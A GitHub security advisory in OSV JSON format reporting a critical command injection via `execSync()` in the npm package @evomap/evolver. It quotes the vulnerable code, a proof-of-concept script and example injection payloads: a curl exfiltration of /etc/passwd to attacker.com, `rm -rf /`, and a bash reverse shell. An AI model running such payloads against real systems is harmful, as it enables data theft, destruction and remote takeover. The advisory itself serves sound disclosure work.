{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.69.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T22:06:03Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n  // ...\n  var url = getHubUrl(hubUrl) + \u0027/gep/extract\u0027;\n  var postData = JSON.stringify({ corpus_summary: summary });\n  \n  // VULNERABLE: String concatenation into shell command\n  var curlCmd = \u0027curl -s -m 10 -X POST\u0027\n    + \u0027 -H \"Content-Type: application/json\"\u0027\n    + \u0027 -H \"Authorization: Bearer \u0027 + nodeSecret + \u0027\"\u0027\n    + \u0027 -d \u0027 + JSON.stringify(postData).replace(/\u0027/g, \"\u0027\\\\\u0027\u0027\")\n    + \u0027 \u0027 + JSON.stringify(url);\n\n  // VULNERABLE: Executes shell command\n  stdout = execSync(curlCmd, { timeout: 12000, encoding: \u0027utf8\u0027 });\n  // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require(\u0027child_process\u0027);\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n  const postData = JSON.stringify({ corpus_summary: corpus });\n  const curlCmd = \u0027curl -s -m 10 -X POST\u0027\n    + \u0027 -H \"Content-Type: application/json\"\u0027\n    + \u0027 -d \u0027 + JSON.stringify(postData).replace(/\u0027/g, \"\u0027\\\\\u0027\u0027\")\n    + \u0027 http://localhost/test\u0027;\n  \n  console.log(\u0027Command that would be executed:\u0027);\n  console.log(curlCmd);\n  console.log(\u0027\\n--- Testing command substitution ---\u0027);\n  \n  // Demonstrate that command substitution works\n  const testCmd = \u0027echo \u0027 + JSON.stringify(\u0027$(id)\u0027);\n  console.log(\u0027\\nTest with echo:\u0027);\n  console.log(execSync(testCmd, { encoding: \u0027utf8\u0027 }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = \u0027$(touch /tmp/pwned)\u0027;\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.",
  "id": "GHSA-j5w5-568x-rq53",
  "modified": "2026-04-22T22:06:03Z",
  "published": "2026-04-22T22:06:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution"
}